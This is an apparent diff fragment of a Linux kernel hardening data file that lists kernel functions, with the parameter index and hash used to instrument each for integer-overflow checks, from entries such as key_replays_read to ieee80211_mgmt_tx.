++_002047_hash key_replays_read 3 62746 _002047_hash NULL
++_002048_hash key_rx_spec_read 3 12736 _002048_hash NULL
++_002049_hash key_tx_spec_read 3 4862 _002049_hash NULL
++_002050_hash __kfifo_to_user 3 36555 _002568_hash NULL nohasharray
++_002051_hash __kfifo_to_user_r 3 39123 _002051_hash NULL
++_002052_hash kmem_zalloc_greedy 2-3 65268 _002052_hash NULL
++_002054_hash l1oip_socket_recv 6 56537 _002054_hash NULL
++_002055_hash l2cap_build_cmd 4 48676 _002055_hash NULL
++_002056_hash l2cap_chan_send 3 49995 _002056_hash NULL
++_002057_hash l2cap_segment_sdu 4 48772 _002057_hash NULL
++_002058_hash l2down_create 4 21755 _002058_hash NULL
++_002059_hash l2tp_xmit_skb 3 42672 _002059_hash NULL
++_002060_hash l2up_create 3 6430 _002060_hash NULL
++_002061_hash lbs_debugfs_read 3 30721 _002061_hash NULL
++_002062_hash lbs_dev_info 3 51023 _002062_hash NULL
++_002063_hash lbs_host_sleep_read 3 31013 _002063_hash NULL
++_002064_hash lbs_rdbbp_read 3 45805 _002064_hash NULL
++_002065_hash lbs_rdmac_read 3 418 _002065_hash NULL
++_002066_hash lbs_rdrf_read 3 41431 _002066_hash NULL
++_002067_hash lbs_sleepparams_read 3 10840 _002067_hash NULL
++_002068_hash lbs_threshold_read 5 21046 _002068_hash NULL
++_002069_hash ldisc_receive 4 41516 _002069_hash NULL
++_002070_hash libfc_vport_create 2 4415 _002070_hash NULL
++_002073_hash lkdtm_debugfs_read 3 45752 _002073_hash NULL
++_002074_hash llcp_sock_recvmsg 4 13556 _002074_hash NULL
++_002075_hash long_retry_limit_read 3 59766 _002075_hash NULL
++_002076_hash lpfc_debugfs_dif_err_read 3 36303 _002076_hash NULL
++_002077_hash lpfc_debugfs_read 3 16566 _002077_hash NULL
++_002078_hash lpfc_idiag_baracc_read 3 58466 _002972_hash NULL nohasharray
++_002079_hash lpfc_idiag_ctlacc_read 3 33943 _002079_hash NULL
++_002080_hash lpfc_idiag_drbacc_read 3 15948 _002080_hash NULL
++_002081_hash lpfc_idiag_extacc_read 3 48301 _002081_hash NULL
++_002082_hash lpfc_idiag_mbxacc_read 3 28061 _002082_hash NULL
++_002083_hash lpfc_idiag_pcicfg_read 3 50334 _002083_hash NULL
++_002084_hash lpfc_idiag_queacc_read 3 13950 _002084_hash NULL
++_002085_hash lpfc_idiag_queinfo_read 3 55662 _002085_hash NULL
++_002086_hash lro_gen_skb 6 2644 _002086_hash NULL
++_002087_hash mac80211_format_buffer 2 41010 _002087_hash NULL
++_002088_hash macvtap_alloc_skb 2-4-3 50629 _002088_hash NULL
++_002091_hash macvtap_put_user 4 55609 _002091_hash NULL
++_002092_hash macvtap_sendmsg 4 30629 _002092_hash NULL
++_002093_hash mangle_packet 6-8 27864 _002093_hash NULL
++_002095_hash manip_pkt 3 7741 _002095_hash NULL
++_002096_hash mempool_create_kmalloc_pool 1 41650 _002096_hash NULL
++_002097_hash mempool_create_page_pool 1 30189 _002097_hash NULL
++_002098_hash mempool_create_slab_pool 1 62907 _002098_hash NULL
++_002099_hash mgmt_device_found 10 14146 _002099_hash NULL
++_002100_hash minstrel_stats_read 3 17290 _002100_hash NULL
++_002101_hash mmc_ext_csd_read 3 13205 _002101_hash NULL
++_002102_hash mon_bin_read 3 6841 _002102_hash NULL
++_002103_hash mon_stat_read 3 25238 _002103_hash NULL
++_002105_hash mqueue_read_file 3 6228 _002105_hash NULL
++_002106_hash mwifiex_debug_read 3 53074 _002106_hash NULL
++_002107_hash mwifiex_getlog_read 3 54269 _002107_hash NULL
++_002108_hash mwifiex_info_read 3 53447 _002108_hash NULL
++_002109_hash mwifiex_rdeeprom_read 3 51429 _002109_hash NULL
++_002110_hash mwifiex_regrdwr_read 3 34472 _002110_hash NULL
++_002111_hash named_prepare_buf 2 24532 _002111_hash NULL
++_002112_hash nci_send_cmd 3 58206 _002112_hash NULL
++_002113_hash netdev_alloc_skb_ip_align 2 40811 _002113_hash NULL
++_002114_hash netpoll_send_udp 3 58955 _002114_hash NULL
++_002115_hash nfcwilink_send_bts_cmd 3 10802 _002115_hash NULL
++_002116_hash nf_nat_mangle_tcp_packet 5-7 8643 _002116_hash NULL
++_002119_hash nfsd_vfs_read 6 62605 _002616_hash NULL nohasharray
++_002120_hash nfsd_vfs_write 6 54577 _002120_hash NULL
++_002121_hash nfs_idmap_lookup_id 2 10660 _002121_hash NULL
++_002122_hash ntfs_rl_realloc 3 56831 _002122_hash &_000370_hash
++_002123_hash ntfs_rl_realloc_nofail 3 32173 _002123_hash NULL
++_002124_hash o2hb_debug_read 3 37851 _002124_hash NULL
++_002125_hash o2net_debug_read 3 52105 _002125_hash NULL
++_002126_hash ocfs2_control_read 3 56405 _002126_hash NULL
++_002127_hash ocfs2_debug_read 3 14507 _002127_hash NULL
++_002128_hash oom_adjust_read 3 25127 _002128_hash NULL
++_002129_hash oom_score_adj_read 3 39921 _002426_hash NULL nohasharray
++_002130_hash oprofilefs_str_to_user 3 42182 _002130_hash NULL
++_002131_hash oprofilefs_ulong_to_user 3 11582 _002131_hash NULL
++_002132_hash osd_req_add_get_attr_list 3 49278 _002132_hash NULL
++_002133_hash _osd_req_list_objects 6 4204 _002133_hash NULL
++_002134_hash osd_req_read_kern 5 59990 _002134_hash NULL
++_002135_hash osd_req_write_kern 5 53486 _002135_hash NULL
++_002136_hash osst_read 3 40237 _002136_hash NULL
++_002137_hash p54_alloc_skb 3 34366 _002137_hash &_000485_hash
++_002138_hash p54_init_common 1 23850 _002138_hash NULL
++_002139_hash packet_alloc_skb 2-5-4 62602 _002139_hash NULL
++_002142_hash packet_sendmsg 4 24954 _002142_hash NULL
++_002143_hash page_readlink 3 23346 _002143_hash NULL
++_002144_hash pcf50633_write_block 3 2124 _002144_hash NULL
++_002145_hash pcpu_alloc_alloc_info 1-2 45813 _002145_hash NULL
++_002147_hash pep_indicate 5 38611 _002147_hash NULL
++_002148_hash pep_reply 5 50582 _002148_hash NULL
++_002149_hash pipe_handler_request 5 50774 _003582_hash NULL nohasharray
++_002150_hash platform_list_read_file 3 34734 _002150_hash NULL
++_002151_hash pm860x_bulk_write 3 43875 _002151_hash NULL
++_002152_hash pm_qos_power_read 3 55891 _002152_hash NULL
++_002153_hash port_show_regs 3 5904 _002153_hash NULL
++_002154_hash proc_coredump_filter_read 3 39153 _002154_hash NULL
++_002155_hash proc_fdinfo_read 3 62043 _002155_hash NULL
++_002156_hash proc_file_read 3 53905 _002156_hash NULL
++_002157_hash proc_info_read 3 63344 _002157_hash NULL
++_002158_hash proc_loginuid_read 3 15631 _002158_hash NULL
++_002159_hash proc_pid_attr_read 3 10173 _002159_hash NULL
++_002160_hash proc_pid_readlink 3 52186 _002160_hash NULL
++_002161_hash proc_read 3 43614 _002161_hash NULL
++_002162_hash proc_self_readlink 3 38094 _002162_hash NULL
++_002163_hash proc_sessionid_read 3 6911 _002299_hash NULL nohasharray
++_002164_hash provide_user_output 3 41105 _002164_hash NULL
++_002165_hash pskb_network_may_pull 2 35336 _002165_hash NULL
++_002166_hash pskb_pull 2 65005 _002166_hash NULL
++_002167_hash pstore_file_read 3 57288 _002167_hash NULL
++_002168_hash ql_process_mac_rx_page 4 15543 _002168_hash NULL
++_002169_hash ql_process_mac_rx_skb 4 6689 _002169_hash NULL
++_002170_hash queues_read 3 24877 _002170_hash NULL
++_002171_hash raw_recvmsg 4 17277 _002171_hash NULL
++_002172_hash rcname_read 3 25919 _002172_hash NULL
++_002173_hash read_4k_modal_eeprom 3 30212 _002173_hash NULL
++_002174_hash read_9287_modal_eeprom 3 59327 _002174_hash NULL
++_002175_hash reada_find_extent 2 63486 _002175_hash NULL
++_002176_hash read_def_modal_eeprom 3 14041 _002176_hash NULL
++_002177_hash read_enabled_file_bool 3 37744 _002177_hash NULL
++_002178_hash read_file_ani 3 23161 _002178_hash NULL
++_002179_hash read_file_antenna 3 13574 _002179_hash NULL
++_002180_hash read_file_base_eeprom 3 42168 _002180_hash NULL
++_002181_hash read_file_beacon 3 32595 _002181_hash NULL
++_002182_hash read_file_blob 3 57406 _002182_hash NULL
++_002183_hash read_file_bool 3 4180 _002183_hash NULL
++_002184_hash read_file_credit_dist_stats 3 54367 _002184_hash NULL
++_002185_hash read_file_debug 3 58256 _002185_hash NULL
++_002186_hash read_file_disable_ani 3 6536 _002186_hash NULL
++_002187_hash read_file_dma 3 9530 _002187_hash NULL
++_002188_hash read_file_dump_nfcal 3 18766 _002188_hash NULL
++_002189_hash read_file_frameerrors 3 64001 _002189_hash NULL
++_002190_hash read_file_interrupt 3 61742 _002197_hash NULL nohasharray
++_002191_hash read_file_misc 3 9948 _002191_hash NULL
++_002192_hash read_file_modal_eeprom 3 39909 _002192_hash NULL
++_002193_hash read_file_queue 3 40895 _002193_hash NULL
++_002194_hash read_file_rcstat 3 22854 _002194_hash NULL
++_002195_hash read_file_recv 3 48232 _002195_hash NULL
++_002196_hash read_file_regidx 3 33370 _002196_hash NULL
++_002197_hash read_file_regval 3 61742 _002197_hash &_002190_hash
++_002198_hash read_file_reset 3 52310 _002198_hash NULL
++_002199_hash read_file_rx_chainmask 3 41605 _002199_hash NULL
++_002200_hash read_file_slot 3 50111 _002200_hash NULL
++_002201_hash read_file_stations 3 35795 _002201_hash NULL
++_002202_hash read_file_tgt_int_stats 3 20697 _002202_hash NULL
++_002203_hash read_file_tgt_rx_stats 3 33944 _002203_hash NULL
++_002204_hash read_file_tgt_stats 3 8959 _002204_hash NULL
++_002205_hash read_file_tgt_tx_stats 3 51847 _002205_hash NULL
++_002206_hash read_file_tx_chainmask 3 3829 _002206_hash NULL
++_002207_hash read_file_war_stats 3 292 _002207_hash NULL
++_002208_hash read_file_xmit 3 21487 _002208_hash NULL
++_002209_hash read_flush_pipefs 3 20171 _002209_hash NULL
++_002210_hash read_flush_procfs 3 27642 _002210_hash NULL
++_002211_hash read_from_oldmem 2 3337 _002211_hash NULL
++_002212_hash read_oldmem 3 55658 _002212_hash NULL
++_002213_hash receive_packet 2 12367 _002213_hash NULL
++_002214_hash regmap_name_read_file 3 39379 _002214_hash NULL
++_002215_hash repair_io_failure 4 4815 _002215_hash NULL
++_002216_hash request_key_and_link 4 42693 _002216_hash NULL
++_002217_hash res_counter_read 4 33499 _002217_hash NULL
++_002218_hash rfcomm_tty_write 3 51603 _002218_hash NULL
++_002219_hash rs_sta_dbgfs_rate_scale_data_read 3 47165 _002219_hash NULL
++_002220_hash rs_sta_dbgfs_scale_table_read 3 40262 _002220_hash NULL
++_002221_hash rs_sta_dbgfs_stats_table_read 3 56573 _002221_hash NULL
++_002222_hash rts_threshold_read 3 44384 _002222_hash NULL
++_002223_hash rxrpc_sendmsg 4 29049 _002223_hash NULL
++_002224_hash scrub_setup_recheck_block 3-4 56245 _002224_hash NULL
++_002226_hash scsi_adjust_queue_depth 3 12802 _002226_hash NULL
++_002227_hash sctp_make_abort 3 34459 _002227_hash NULL
++_002228_hash sctp_make_asconf 3 4078 _002228_hash NULL
++_002229_hash sctp_make_asconf_ack 3 31726 _002229_hash NULL
++_002230_hash sctp_make_datafrag_empty 3 34737 _002230_hash NULL
++_002231_hash sctp_make_fwdtsn 3 53265 _002231_hash NULL
++_002232_hash sctp_make_heartbeat_ack 4 34411 _002232_hash NULL
++_002233_hash sctp_make_init 4 58401 _002233_hash NULL
++_002234_hash sctp_make_init_ack 4 3335 _002234_hash NULL
++_002235_hash sctp_make_op_error_space 3 5528 _002235_hash NULL
++_002236_hash sctp_manip_pkt 2 40620 _002236_hash NULL
++_002237_hash selinux_inode_notifysecctx 3 36896 _002237_hash NULL
++_002238_hash sel_read_avc_cache_threshold 3 33942 _002238_hash NULL
++_002239_hash sel_read_avc_hash_stats 3 1984 _002239_hash NULL
++_002240_hash sel_read_bool 3 24236 _002240_hash NULL
++_002241_hash sel_read_checkreqprot 3 33068 _002241_hash NULL
++_002242_hash sel_read_class 3 12669 _002960_hash NULL nohasharray
++_002243_hash sel_read_enforce 3 2828 _002243_hash NULL
++_002244_hash sel_read_handle_status 3 56139 _002244_hash NULL
++_002245_hash sel_read_handle_unknown 3 57933 _002245_hash NULL
++_002246_hash sel_read_initcon 3 32362 _002246_hash NULL
++_002247_hash sel_read_mls 3 25369 _002247_hash NULL
++_002248_hash sel_read_perm 3 42302 _002248_hash NULL
++_002249_hash sel_read_policy 3 55947 _002249_hash NULL
++_002250_hash sel_read_policycap 3 28544 _002250_hash NULL
++_002251_hash sel_read_policyvers 3 55 _002827_hash NULL nohasharray
++_002252_hash send_mpa_reject 3 7135 _002252_hash NULL
++_002253_hash send_mpa_reply 3 32372 _002253_hash NULL
++_002254_hash send_msg 4 37323 _002254_hash NULL
++_002255_hash send_packet 4 52960 _002255_hash NULL
++_002256_hash set_rxd_buffer_pointer 8 9950 _002256_hash NULL
++_002257_hash sge_rx 3 50594 _002257_hash NULL
++_002258_hash short_retry_limit_read 3 4687 _002258_hash NULL
++_002259_hash simple_attr_read 3 24738 _002259_hash NULL
++_002260_hash simple_transaction_read 3 17076 _002260_hash NULL
++_002261_hash sisusbcon_bmove 5-7-6 21873 _002261_hash NULL
++_002264_hash sisusbcon_clear 3-5-4 64329 _002264_hash NULL
++_002267_hash sisusbcon_putcs 3 57630 _002267_hash &_001043_hash
++_002268_hash sisusbcon_scroll 5-3-2 31315 _002268_hash NULL
++_002269_hash sisusbcon_scroll_area 3-4 25899 _002269_hash NULL
++_002271_hash skb_copy_datagram_const_iovec 2-5-4 48102 _002271_hash NULL
++_002274_hash skb_copy_datagram_iovec 2-4 5806 _002274_hash NULL
++_002276_hash skb_gro_header_slow 2 34958 _002276_hash NULL
++_002277_hash smk_read_ambient 3 61220 _002277_hash NULL
++_002278_hash smk_read_direct 3 15803 _002278_hash NULL
++_002279_hash smk_read_doi 3 30813 _002279_hash NULL
++_002280_hash smk_read_logging 3 37804 _002280_hash NULL
++_002281_hash smk_read_mapped 3 7562 _002281_hash NULL
++_002282_hash smk_read_onlycap 3 3855 _002282_hash NULL
++_002283_hash smp_build_cmd 3 45853 _002283_hash NULL
++_002284_hash snapshot_read 3 22601 _002284_hash NULL
++_002285_hash snd_cs4281_BA0_read 5 6847 _002285_hash NULL
++_002286_hash snd_cs4281_BA1_read 5 20323 _002286_hash NULL
++_002287_hash snd_cs46xx_io_read 5 45734 _002287_hash NULL
++_002288_hash snd_gus_dram_read 4 56686 _002288_hash NULL
++_002289_hash snd_mixart_BA0_read 5 45069 _002289_hash NULL
++_002290_hash snd_mixart_BA1_read 5 5082 _002290_hash NULL
++_002291_hash snd_pcm_oss_read 3 28317 _002291_hash NULL
++_002292_hash snd_pcm_plug_alloc 2 42339 _002292_hash NULL
++_002293_hash snd_rawmidi_kernel_read 3 4328 _002293_hash NULL
++_002294_hash snd_rawmidi_read 3 56337 _002294_hash NULL
++_002295_hash snd_rme32_capture_copy 5 39653 _002295_hash NULL
++_002296_hash snd_rme96_capture_copy 5 58484 _002296_hash NULL
++_002297_hash snd_soc_hw_bulk_write_raw 4 14245 _002297_hash NULL
++_002298_hash sock_alloc_send_skb 2 23720 _002298_hash NULL
++_002299_hash spi_show_regs 3 6911 _002299_hash &_002163_hash
++_002300_hash sta_agg_status_read 3 14058 _002300_hash NULL
++_002301_hash sta_connected_time_read 3 17435 _002301_hash NULL
++_002302_hash sta_flags_read 3 56710 _002302_hash NULL
++_002303_hash sta_ht_capa_read 3 10366 _002303_hash NULL
++_002304_hash sta_last_seq_ctrl_read 3 19106 _002304_hash NULL
++_002305_hash sta_num_ps_buf_frames_read 3 1488 _002305_hash NULL
++_002306_hash st_read 3 51251 _002306_hash NULL
++_002307_hash supply_map_read_file 3 10608 _002307_hash NULL
++_002308_hash sysfs_read_file 3 42113 _002308_hash NULL
++_002309_hash sys_preadv 3 17100 _002309_hash NULL
++_002310_hash sys_pwritev 3 41722 _002310_hash NULL
++_002311_hash sys_readv 3 50664 _002311_hash NULL
++_002312_hash sys_rt_sigpending 2 24961 _002312_hash NULL
++_002313_hash sys_writev 3 28384 _002313_hash NULL
++_002314_hash tcf_csum_skb_nextlayer 3 64025 _002314_hash NULL
++_002315_hash tcp_fragment 3 20436 _002315_hash NULL
++_002316_hash tcp_manip_pkt 2 14202 _002316_hash NULL
++_002317_hash teiup_create 3 43201 _002317_hash NULL
++_002318_hash test_iso_queue 5 62534 _002318_hash NULL
++_002319_hash tg3_run_loopback 2 30093 _002319_hash NULL
++_002320_hash tipc_msg_build 4 12326 _002320_hash NULL
++_002321_hash TSS_authhmac 3 12839 _002321_hash NULL
++_002322_hash TSS_checkhmac1 5 31429 _002322_hash NULL
++_002323_hash TSS_checkhmac2 5-7 40520 _002323_hash NULL
++_002325_hash tty_audit_log 8 47280 _002325_hash NULL
++_002326_hash tty_buffer_request_room 2 23228 _002326_hash NULL
++_002327_hash tty_insert_flip_string_fixed_flag 4 37428 _002327_hash NULL
++_002328_hash tty_insert_flip_string_flags 4 30969 _002328_hash NULL
++_002329_hash tty_prepare_flip_string 3 39955 _002329_hash NULL
++_002330_hash tty_prepare_flip_string_flags 4 59240 _002330_hash NULL
++_002331_hash tun_alloc_skb 2-4-3 41216 _002331_hash NULL
++_002334_hash tun_sendmsg 4 10337 _002334_hash NULL
++_002335_hash u32_array_read 3 2219 _002335_hash NULL
++_002336_hash ubi_io_write_data 4-5 40305 _002336_hash NULL
++_002338_hash udplite_manip_pkt 2 62433 _002338_hash NULL
++_002339_hash udp_manip_pkt 2 50770 _002339_hash NULL
++_002340_hash uhci_debug_read 3 5911 _002340_hash NULL
++_002341_hash um_idi_read 3 850 _002341_hash NULL
++_002342_hash unix_seqpacket_sendmsg 4 27893 _002342_hash NULL
++_002343_hash unix_stream_recvmsg 4 35210 _002343_hash NULL
++_002344_hash unlink_simple 3 47506 _002344_hash NULL
++_002345_hash use_pool 2 64607 _002345_hash NULL
++_002346_hash v9fs_fid_readn 4 60544 _002346_hash NULL
++_002347_hash v9fs_file_read 3 40858 _002347_hash NULL
++_002348_hash vhci_read 3 47878 _002348_hash NULL
++_002349_hash vhost_add_used_and_signal_n 4 8038 _002349_hash NULL
++_002350_hash vmbus_open 2-3 12154 _002350_hash NULL
++_002352_hash vxge_rx_alloc 3 52024 _002352_hash NULL
++_002353_hash waiters_read 3 40902 _002353_hash NULL
++_002354_hash wm8994_bulk_write 3 13615 _002354_hash NULL
++_002355_hash write_pbl 4 59583 _002355_hash NULL
++_002356_hash wusb_prf_256 7 29203 _002356_hash NULL
++_002357_hash wusb_prf_64 7 51065 _002357_hash NULL
++_002358_hash _xfs_buf_alloc 3 38058 _002358_hash NULL
++_002359_hash xfs_buf_read_uncached 3 42844 _002359_hash NULL
++_002360_hash xfs_file_buffered_aio_write 4 11492 _002360_hash NULL
++_002361_hash xfs_iext_add 3 41422 _002361_hash NULL
++_002362_hash xfs_iext_remove_direct 3 40744 _002362_hash NULL
++_002363_hash xfs_readdir 3 41200 _002363_hash NULL
++_002364_hash xfs_trans_get_efd 3 51148 _002364_hash NULL
++_002365_hash xfs_trans_get_efi 2 7898 _002365_hash NULL
++_002366_hash xlog_bread_offset 3 60030 _002366_hash NULL
++_002367_hash xlog_get_bp 2 23229 _002367_hash NULL
++_002368_hash xz_dec_init 2 29029 _002368_hash NULL
++_002369_hash aac_change_queue_depth 2 825 _002369_hash NULL
++_002370_hash add_rx_skb 3 8257 _002370_hash NULL
++_002371_hash afs_extract_data 5 50261 _002371_hash NULL
++_002372_hash arcmsr_adjust_disk_queue_depth 2 16756 _002372_hash NULL
++_002373_hash atalk_recvmsg 4 22053 _002373_hash NULL
++_002374_hash ath6kl_buf_alloc 1 57304 _002374_hash NULL
++_002376_hash atomic_read_file 3 16227 _002376_hash NULL
++_002377_hash ax25_recvmsg 4 64441 _002377_hash NULL
++_002378_hash batadv_add_packet 3 12136 _002378_hash NULL
++_002379_hash batadv_iv_ogm_aggregate_new 2 54761 _002379_hash NULL
++_002380_hash batadv_tt_response_fill_table 1 39236 _002380_hash NULL
++_002381_hash beiscsi_process_async_pdu 7 39834 _002381_hash NULL
++_002382_hash bioset_create 1 5580 _002382_hash NULL
++_002383_hash bioset_integrity_create 2 62708 _002383_hash NULL
++_002384_hash biovec_create_pools 2 9575 _002384_hash NULL
++_002385_hash bnx2fc_process_l2_frame_compl 3 65072 _002385_hash NULL
++_002386_hash brcmf_sdbrcm_died_dump 3 15841 _002386_hash NULL
++_002387_hash brcmu_pkt_buf_get_skb 1 5556 _002387_hash NULL
++_002388_hash br_send_bpdu 3 29669 _002388_hash NULL
++_002389_hash btrfs_error_discard_extent 2 50444 _002389_hash NULL
++_002390_hash __btrfs_free_reserved_extent 2 31207 _002390_hash NULL
++_002391_hash btrfsic_cmp_log_and_dev_bytenr 2 49628 _002391_hash NULL
++_002392_hash btrfsic_create_link_to_next_block 4 58246 _002392_hash NULL
++_002393_hash btrfs_init_new_buffer 4 55761 _002393_hash NULL
++_002394_hash btrfs_mksubvol 3 58240 _002394_hash NULL
++_002395_hash bt_skb_send_alloc 2 6581 _002395_hash NULL
++_002396_hash bt_sock_recvmsg 4 12316 _002396_hash NULL
++_002397_hash bt_sock_stream_recvmsg 4 52518 _002397_hash NULL
++_002398_hash c4iw_reject_cr 3 28174 _002398_hash NULL
++_002399_hash caif_seqpkt_recvmsg 4 32241 _002399_hash NULL
++_002400_hash carl9170_rx_copy_data 2 21656 _002400_hash NULL
++_002401_hash cfpkt_append 3 61206 _002401_hash NULL
++_002402_hash cfpkt_setlen 2 49343 _002402_hash NULL
++_002403_hash cgroup_file_read 3 28804 _002403_hash NULL
++_002404_hash cosa_net_setup_rx 2 38594 _002404_hash NULL
++_002405_hash cpu_type_read 3 36540 _002405_hash NULL
++_002406_hash cxgb4_pktgl_to_skb 2 61899 _002406_hash NULL
++_002408_hash dccp_recvmsg 4 16056 _002408_hash NULL
++_002409_hash ddp_clear_map 4 46152 _002409_hash NULL
++_002410_hash ddp_set_map 4 751 _002410_hash NULL
++_002411_hash depth_read 3 31112 _002411_hash NULL
++_002412_hash dfs_global_file_read 3 7787 _002412_hash NULL
++_002413_hash dgram_recvmsg 4 23104 _002413_hash NULL
++_002414_hash diva_init_dma_map 3 58336 _002414_hash NULL
++_002415_hash divas_write 3 63901 _002415_hash NULL
++_002416_hash dma_push_rx 2 39973 _002416_hash NULL
++_002417_hash dma_skb_copy_datagram_iovec 3-5 21516 _002417_hash NULL
++_002419_hash dm_table_create 3 35687 _002419_hash NULL
++_002420_hash dn_alloc_send_pskb 2 4465 _002420_hash NULL
++_002421_hash dn_nsp_return_disc 2 60296 _002421_hash NULL
++_002422_hash dn_nsp_send_disc 2 23469 _002422_hash NULL
++_002423_hash dsp_tone_hw_message 3 17678 _002423_hash NULL
++_002424_hash e1000_check_copybreak 3 62448 _002424_hash NULL
++_002425_hash enable_read 3 2117 _002425_hash &_000224_hash
++_002426_hash exofs_read_kern 6 39921 _002426_hash &_002129_hash
++_002427_hash fast_rx_path 3 59214 _002427_hash NULL
++_002428_hash fc_change_queue_depth 2 36841 _002428_hash NULL
++_002429_hash fc_fcp_frame_alloc 2 12624 _002429_hash NULL
++_002430_hash fcoe_ctlr_send_keep_alive 3 15308 _002430_hash NULL
++_002431_hash frequency_read 3 64031 _003698_hash NULL nohasharray
++_002432_hash ftdi_process_packet 5 45005 _002432_hash NULL
++_002433_hash fuse_conn_congestion_threshold_read 3 51028 _002433_hash NULL
++_002434_hash fuse_conn_max_background_read 3 10855 _002434_hash NULL
++_002435_hash fwnet_incoming_packet 3 40380 _002435_hash NULL
++_002436_hash fwnet_pd_new 4 39947 _003402_hash NULL nohasharray
++_002437_hash get_alua_req 3 4166 _002437_hash NULL
++_002438_hash get_rdac_req 3 45882 _002438_hash NULL
++_002439_hash got_frame 2 16028 _002439_hash NULL
++_002440_hash gsm_mux_rx_netchar 3 33336 _002440_hash NULL
++_002441_hash hci_sock_recvmsg 4 7072 _002441_hash NULL
++_002442_hash hdlcdev_rx 3 997 _002442_hash NULL
++_002443_hash hdlc_empty_fifo 2 18397 _002443_hash NULL
++_002444_hash hfc_empty_fifo 2 57972 _002444_hash NULL
++_002445_hash hfcpci_empty_fifo 4 2427 _002445_hash NULL
++_002446_hash hfcsusb_rx_frame 3 52745 _002446_hash NULL
++_002447_hash hidp_output_raw_report 3 5629 _002447_hash NULL
++_002448_hash hpsa_change_queue_depth 2 15449 _002448_hash NULL
++_002449_hash hptiop_adjust_disk_queue_depth 2 20122 _002449_hash NULL
++_002450_hash hscx_empty_fifo 2 13360 _002450_hash NULL
++_002451_hash hysdn_rx_netpkt 3 16136 _002451_hash NULL
++_002452_hash i2o_pool_alloc 4 55485 _002452_hash NULL
++_002453_hash ide_queue_pc_tail 5 11673 _002453_hash NULL
++_002454_hash ide_raw_taskfile 4 42355 _002454_hash NULL
++_002455_hash idetape_queue_rw_tail 3 29562 _002455_hash NULL
++_002456_hash ieee80211_amsdu_to_8023s 5 15561 _002456_hash NULL
++_002457_hash ieee80211_fragment 4 33112 _002457_hash NULL
++_002458_hash ieee80211_if_read_aid 3 9705 _002458_hash NULL
++_002459_hash ieee80211_if_read_auto_open_plinks 3 38268 _002459_hash &_000374_hash
++_002460_hash ieee80211_if_read_ave_beacon 3 64924 _002460_hash NULL
++_002461_hash ieee80211_if_read_bssid 3 35161 _002461_hash NULL
++_002462_hash ieee80211_if_read_channel_type 3 23884 _002462_hash NULL
++_002463_hash ieee80211_if_read_dot11MeshConfirmTimeout 3 60670 _002463_hash NULL
++_002464_hash ieee80211_if_read_dot11MeshForwarding 3 13940 _002464_hash NULL
++_002465_hash ieee80211_if_read_dot11MeshGateAnnouncementProtocol 3 14486 _002465_hash NULL
++_002466_hash ieee80211_if_read_dot11MeshHoldingTimeout 3 47356 _002466_hash NULL
++_002467_hash ieee80211_if_read_dot11MeshHWMPactivePathTimeout 3 7368 _002467_hash NULL
++_002468_hash ieee80211_if_read_dot11MeshHWMPactivePathToRootTimeout 3 17618 _002468_hash NULL
++_002469_hash ieee80211_if_read_dot11MeshHWMPconfirmationInterval 3 57722 _002469_hash NULL
++_002470_hash ieee80211_if_read_dot11MeshHWMPmaxPREQretries 3 59829 _002470_hash NULL
++_002471_hash ieee80211_if_read_dot11MeshHWMPnetDiameterTraversalTime 3 1589 _002471_hash NULL
++_002472_hash ieee80211_if_read_dot11MeshHWMPperrMinInterval 3 17346 _002472_hash NULL
++_002473_hash ieee80211_if_read_dot11MeshHWMPpreqMinInterval 3 24208 _002473_hash NULL
++_002474_hash ieee80211_if_read_dot11MeshHWMPRannInterval 3 2249 _002474_hash NULL
++_002475_hash ieee80211_if_read_dot11MeshHWMProotInterval 3 27873 _002475_hash NULL
++_002476_hash ieee80211_if_read_dot11MeshHWMPRootMode 3 51441 _002476_hash NULL
++_002477_hash ieee80211_if_read_dot11MeshMaxPeerLinks 3 23878 _002477_hash NULL
++_002478_hash ieee80211_if_read_dot11MeshMaxRetries 3 12756 _002478_hash NULL
++_002479_hash ieee80211_if_read_dot11MeshRetryTimeout 3 52168 _002479_hash NULL
++_002480_hash ieee80211_if_read_dot11MeshTTL 3 58307 _002480_hash NULL
++_002481_hash ieee80211_if_read_dropped_frames_congestion 3 32603 _002481_hash NULL
++_002482_hash ieee80211_if_read_dropped_frames_no_route 3 33383 _002482_hash NULL
++_002483_hash ieee80211_if_read_dropped_frames_ttl 3 44500 _002483_hash NULL
++_002484_hash ieee80211_if_read_drop_unencrypted 3 37053 _002484_hash NULL
++_002485_hash ieee80211_if_read_dtim_count 3 38419 _002485_hash NULL
++_002486_hash ieee80211_if_read_element_ttl 3 18869 _002486_hash NULL
++_002487_hash ieee80211_if_read_estab_plinks 3 32533 _002487_hash NULL
++_002488_hash ieee80211_if_read_flags 3 57470 _002919_hash NULL nohasharray
++_002489_hash ieee80211_if_read_fwded_frames 3 36520 _002489_hash NULL
++_002490_hash ieee80211_if_read_fwded_mcast 3 39571 _002490_hash &_000162_hash
++_002491_hash ieee80211_if_read_fwded_unicast 3 59740 _002491_hash &_001697_hash
++_002492_hash ieee80211_if_read_ht_opmode 3 29044 _002492_hash NULL
++_002493_hash ieee80211_if_read_last_beacon 3 31257 _002493_hash NULL
++_002494_hash ieee80211_if_read_min_discovery_timeout 3 13946 _002494_hash NULL
++_002495_hash ieee80211_if_read_num_buffered_multicast 3 12716 _002495_hash NULL
++_002496_hash ieee80211_if_read_num_mcast_sta 3 12419 _002496_hash NULL
++_002497_hash ieee80211_if_read_num_sta_ps 3 34722 _002497_hash NULL
++_002498_hash ieee80211_if_read_path_refresh_time 3 25545 _002498_hash NULL
++_002499_hash ieee80211_if_read_peer 3 45233 _002499_hash NULL
++_002500_hash ieee80211_if_read_rc_rateidx_mask_2ghz 3 61570 _002500_hash NULL
++_002501_hash ieee80211_if_read_rc_rateidx_mask_5ghz 3 27183 _002501_hash NULL
++_002502_hash ieee80211_if_read_rc_rateidx_mcs_mask_2ghz 3 37675 _002502_hash NULL
++_002503_hash ieee80211_if_read_rc_rateidx_mcs_mask_5ghz 3 44423 _002503_hash NULL
++_002504_hash ieee80211_if_read_rssi_threshold 3 49260 _002504_hash NULL
++_002505_hash ieee80211_if_read_smps 3 27416 _002505_hash NULL
++_002506_hash ieee80211_if_read_state 3 9813 _002707_hash NULL nohasharray
++_002507_hash ieee80211_if_read_tkip_mic_test 3 19565 _002507_hash NULL
++_002508_hash ieee80211_if_read_tsf 3 16420 _002508_hash NULL
++_002509_hash ieee80211_if_read_uapsd_max_sp_len 3 15067 _002509_hash NULL
++_002510_hash ieee80211_if_read_uapsd_queues 3 55150 _002510_hash NULL
++_002511_hash ieee80211_mgmt_tx 9 46860 _002511_hash NULL
